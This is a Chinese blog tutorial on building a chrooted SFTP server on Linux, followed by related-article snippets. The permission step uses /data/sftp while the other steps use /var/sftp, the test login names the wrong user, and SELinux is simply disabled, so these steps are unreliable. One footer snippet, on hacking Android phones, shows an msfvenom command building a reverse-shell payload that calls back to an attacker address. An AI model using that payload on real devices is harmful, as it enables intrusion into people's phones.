Linux之搭建sftp
0、查看openssh的版本
ssh -V
#使用ssh -V 命令来查看openssh的版本,版本必须大于4.8p1,低于的这个版本需要升级。
1、创建sftp组
groupadd sftp
2、创建一个sftp用户,用户名为mysftp,密码为mysftp
#修改用户密码和修改Linux用户密码是一样的。
useradd -g sftp -s /bin/false mysftp //用户名
passwd mysftp 密码
3、sftp组的用户的home目录统一指定到/var/sftp下,按用户名区分,这里先新建一个mysftp目录,然后指定mysftp的home为/var/sftp/mysftp
mkdir -p /var/sftp/mysftp
usermod -d /var/sftp/mysftp mysftp
4、配置sshd_config
#文本编辑器打开 /etc/ssh/sshd_config
vim /etc/ssh/sshd_config
#找到如下这行,用#符号注释掉,大致在文件末尾处。
# Subsystem sftp /usr/libexec/openssh/sftp-server #在文件最后面添加如下几行内容,然后保存。 Subsystem sftp internal-sftp
Match Group sftp
ChrootDirectory /var/sftp
ForceCommand internal-sftp
AllowTcpForwarding no
X11Forwarding no
5、设定Chroot目录权限
chown root:sftp /data/sftp/mysftp
chmod 755 /data/sftp/mysftp
6、建立SFTP用户登入后可写入的目录
#照上面设置后,在重启sshd服务后,用户mysftp已经可以登录。但使用chroot指定根目录后,根应该是#无法写入的,所以要新建一个目录供mysftp上传文件。这个目录所有者为mysftp,所有组为sftp,所有#者有写入权限,而所有组无写入权限。命令如下: mkdir /var/sftp/mysftp/upload
chown mysftp:sftp /var/sftp/mysftp/upload
chmod 755 /var/sftp/mysftp/upload
7、修改/etc/selinux/config
#文本编辑器打开/etc/selinux/config
vim /etc/selinux/config
#将文件中的SELINUX=enforcing 修改为 SELINUX=disabled ,然后保存。 #在输入命令
setenforce 0
8、重启sshd服务
#输入命令重启服务。
service sshd restart
9、验证sftp环境
#用mysftp用户名登录,yes确定,回车输入密码。
sftp sftpuser@127.0.0.1
#显示 sftp> 则sftp搭建成功。
<sftp -oPort=22 sftpuser@127.0.0.1>
10、使用FileZilla FTP Client连接SFTP服务器
输入主机IP地址、用户名、密码、端口连接SFTP服务器,端口默认为22。
相关知识点:
/sbin/nologin只是不允许系统login,可以使用其他ftp等服务
如果想要用false在禁止login的同时允许ftp,则必须在/etc/shells里增加一行/bin/false。
知道了Linux用户管理最重要的两个文件就是/etc/passwd和/etc/shadow这两个文件。其中/etc/passwd是用来存储登陆用户信息的,它的基本格式如下:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
由上面的格式可以看出,每一行代表一个用户的信息,一共包括7个字段的信息,每个字段的信息用冒号隔开。这7个字段分别代表:
1. 账号名称:即登陆时的用户名
2. 密码:早期UNIX系统的密码是放在这个文件中的,但因为这个文件的特性是所有程序都能够读取,所以,这样很容易造成数据被窃取,因此后来就将这个字段的密码数据改放到/etc/shadow中了
3. UID:用户ID,每个账号名称对应一个UID,通常UID=0表示root管理员
4. GID:组ID,与/etc/group有关,/etc/group与/etc/passwd差不多,是用来规范用户组信息的
5. 用户信息说明栏: 用来解释这个账号是干什么的
6. 家目录:home目录,即用户登陆以后跳转到的目录,以root用户为例,/root是它的家目录,所以root用户登陆以后就跳转到/root目录这里
7. Shell:用户使用的shell,通常使用/bin/bash这个shell,这也就是为什么登陆Linux时默认的shell是bash的原因,就是在这里设置的,如果要想更改登陆后使用的shell,可以在这里修改。另外一个很重要的东西是有一个shell可以用来替代让账号无法登陆的命令,那就是/sbin/nologin。
Linux之搭建sftp的更多相关文章
- linux 上搭建sftp服务
原文链接:https://www.cnblogs.com/yanduanduan/p/9046723.html sftp和ftp的区别 FTP是一种文件传输协议,一般是为了方便数据共享的.包括一个FT ...
- linux如何搭建sftp服务器
工具/原料 centos7.2_x64 方法/步骤 创建sftp组 groupadd sftp 创建完成之后使用cat /etc/group命令组的信息 2 创建一个sftp用户mysft ...
- Linux Centos 6.6搭建SFTP服务器
Linux Centos 6.6搭建SFTP服务器 在Centos 6.6环境使用系统自带的internal-sftp搭建SFTP服务器. 打开命令终端窗口,按以下步骤操作. 0.查看openssh的 ...
- Linux ---搭建SFTP服务器
在Centos 6.6环境使用系统自带的internal-sftp搭建SFTP服务器. 打开命令终端窗口,按以下步骤操作. 0.查看openssh的版本 ssh -V 使用ssh -V 命令来查看op ...
- windows 上搭建 sftp 服务器 -freesshd全过程( 在linux上部署逐浪CMS的必读教程)
文章标题: windows 上搭建 sftp 服务器 - freesshd全过程 关键字 : freesshd 文章分类: 教程 创建时间: 2020年3月23日 缘由 动手 第一步:添加用户 第二步 ...
- CentOS7.5 下搭建SFTP
CentOS7.5 下搭建SFTP Linux 创建用户组 groupadd sftp 创建用户test useradd -G sftp -s /sbin/nologin test -s 禁止用户ss ...
- centos6和ubuntu14搭建sftp
参考 http://blog.csdn.net/xinxin19881112/article/details/46831311 一. 在Centos 6.6环境使用系统自带的internal-sftp ...
- .Net Core实战教程(一):Linux下搭建项目
.Net Core实战教程(一):Linux下搭建项目 附言 .net core 1.0的时候就开始关注了,一直没有用于项目.真正用于项目我是2.0开始使用的.这几年也总结出一些经验.最近有空就写出来 ...
- 【转】Linux环境搭建FTP服务器与Python实现FTP客户端的交互介绍
Linux环境搭建FTP服务器与Python实现FTP客户端的交互介绍 FTP 是File Transfer Protocol(文件传输协议)的英文简称,它基于传输层协议TCP建立,用于Interne ...
- Linux环境搭建-在虚拟机中安装Centos7.0
最近在空闲时间学习Linux环境中各种服务的安装与配置,都属于入门级别的,这里把所有的学习过程记录下来,和大家一起分享. 我的电脑系统是win7,所以我需要在win7上安装一个虚拟机-VMware,然 ...
随机推荐
- Argo CD初体验
什么是 Argo CD? Argo CD 是一个声明式的 GitOps 持续交付工具,用于 Kubernetes 集群.它通过持续监控 Git 仓库中的 Kubernetes 资源配置文件,将这些配置 ...
- Transformer应用于时序任务:综述《Transformers in Time Series: A Survey》
2022年9月13日 21:28 摸鱼了一天,看看综述. 论文:Transformers in Time Series: A Survey GitHub: 阿里达摩院 2022的论文. 摘要 从两个角 ...
- Asp.net Core 学习笔记 Azure Storage
更新: 2021-07-22 使用 Azure storage 以后, 还要解决一个 url 的问题. 文件自然是通过我们的 domain 来访问才合理丫. 这个是 azure 的 url : htt ...
- Redis 入门 - 收官
<Redis 入门>系列文章总算完成了,希望这个系列文章可以想入门或刚入门的同学提供帮助,希望能让你形成学习Redis系统性概念. 当时为什么要写这个系列文章,是因为我自己就是迷迷糊糊一路 ...
- pimp技法浅析--实现轻量级的面向接口编程
pimp.hpp: #ifndef pimp_hpp #define pimp_hpp class CMyComponent{ public: CMyComponent(); ~CMyComponen ...
- 【Pwn】maze - writrup
1.运行函数,收集字符串 获取关键词字符串:luck 2.寻找字符串引用代码 3.生成伪代码 4.获得main函数的C语言代码 5.分析程序逻辑 check函数: main函数 int __fastc ...
- [namespace hdk] 64位 bitset
功能 已重载运算符 [](int) (右值,修改请使用 set() 方法) ~() +(bitset) +(unsigned long long) +=(bitset) +=(unsigned lon ...
- 2022年第十八届 GOPS 全球运维大会资料分享
全球运维大会是国内第一个运维行业大会,面向互联网.金融.通信及传统行业广大运维技术人员,旨在传播先进技术思想和理念,分享业内最佳实践. 2022年第十八届 GOPS 全球运维大会(深圳站)共分为18个 ...
- Flask源码分析(目录)
目录 推荐阅读 it程序猿面试必备装逼技能 Flask 源码分析 1.flask 源码解析:简介 2.flask 源码解析:应用启动流程 3.flask 源码解析:路由 4.flask 源码解析:上下 ...
- MSF 入侵安卓手机
生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.135.247 LPPRT=5555 进行文件传输: python3 ...